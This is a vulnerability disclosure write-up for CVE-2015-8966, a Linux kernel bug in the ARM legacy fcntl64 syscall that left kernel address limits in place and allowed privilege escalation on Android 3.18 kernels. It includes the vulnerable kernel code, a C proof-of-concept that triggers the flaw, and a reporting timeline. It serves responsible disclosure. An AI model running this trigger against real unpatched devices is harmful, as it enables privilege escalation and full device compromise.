This issue has been released in the December 2016 Android Security Bulletin.

I found it occasionlly Nov 2015. The root problem is very simple and clear, but it can lead privilege escalation easily.

It seems that this issue is not the first time to be discussed. So there is just an old CVE number(CVE-2015-8966) assigned to it, not a new one.

0x1 Analysis

The security bug exists in legacy syscall “fcntl64” of ARM architecture. The details as follow:

asmlinkage long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
unsigned long arg){

struct oabi_flock64 user;
struct flock64 kernel;
mm_segment_t fs = USER_DS; /* initialized to kill a warning */
unsigned long local_arg = arg;
int ret;

switch (cmd) {
case F_OFD_GETLK:
case F_OFD_SETLK:
case F_OFD_SETLKW:
case F_GETLK64:
case F_SETLK64:
case F_SETLKW64:
	if (copy_from_user(&user, (struct oabi_flock64 __user *)arg,
			   sizeof(user)))
		return -EFAULT;
	kernel.l_type	= user.l_type;
	kernel.l_whence	= user.l_whence;
	kernel.l_start	= user.l_start;
	kernel.l_len	= user.l_len;
	kernel.l_pid	= user.l_pid;
	local_arg = (unsigned long)&kernel;
	fs = get_fs();
	set_fs(KERNEL_DS);          //[1]
}

ret = sys_fcntl64(fd, cmd, local_arg);

switch (cmd) {
case F_GETLK64:
	if (!ret) {
		...
	}
case F_SETLK64:
case F_SETLKW64:
	set_fs(fs);     //[2]
}
return ret;

At point [1], the KERNEL_DS is set directly. And it tries to set back at point [2]. If the cmd is one of “{F_OFD_GETLK, F_OFD_SETLK, F_OFD_SETLKW}”, the USER_DS will not set back at point [2]. So it can gain the ability of arbitrary kernel read/write, which can lead privilege escalation.

0x2 Proof Of Concept

The poc code as follow:

__attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
	__asm __volatile (
	"swi	0x9000DD\n"
	"mov	pc, lr\n"
	:   
	:
	:
);
}

#define F_OFD_GETLK	36
#define F_OFD_SETLK	37
#define F_OFD_SETLKW 38

int main(int argc, char const *argv[]){
	int fd = open("/proc/cpuinfo", O_RDONLY);
	struct flock *map_base = 0;

	if(fd == -1){
		perror("open");
		return -1;
	}
	map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(map_base == (void*)-1){
		perror("mmap");
		goto _done;
	}
	printf("map_base %p\n", map_base);
	memset(map_base, 0, 0x1000);
	map_base->l_start = SEEK_SET;
	if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
		perror("sys_oabi_fcntl64");
	}
	// Arbitrary kernel read/write test
	if(try_to_read_kernel()){
		printf("pwnned !\n");
	}
	munmap(map_base, 0x1000);
_done:
	close(fd);
	return 0;
}

This vulnerability exists in kernel from 3.15 to 4.3. It only impacts Android kernel 3.18.

0x3 Timeline

Sep 10, 2016 - reported the issue to Kernel Security

Sep 15, 2016 - Kernel Security prepared to fix it in next round of stable kernels


Sep 10, 2016 - reported the issue to Google after tested on goldfish 3.18

Sep 12, 2016 - Google reviewed the issue and set the severity to Critical

Oct 04, 2016 - Google determined that this issue does not impact any Google devices

Dec 05, 2016 - released in December 2016 Android Security Bulletin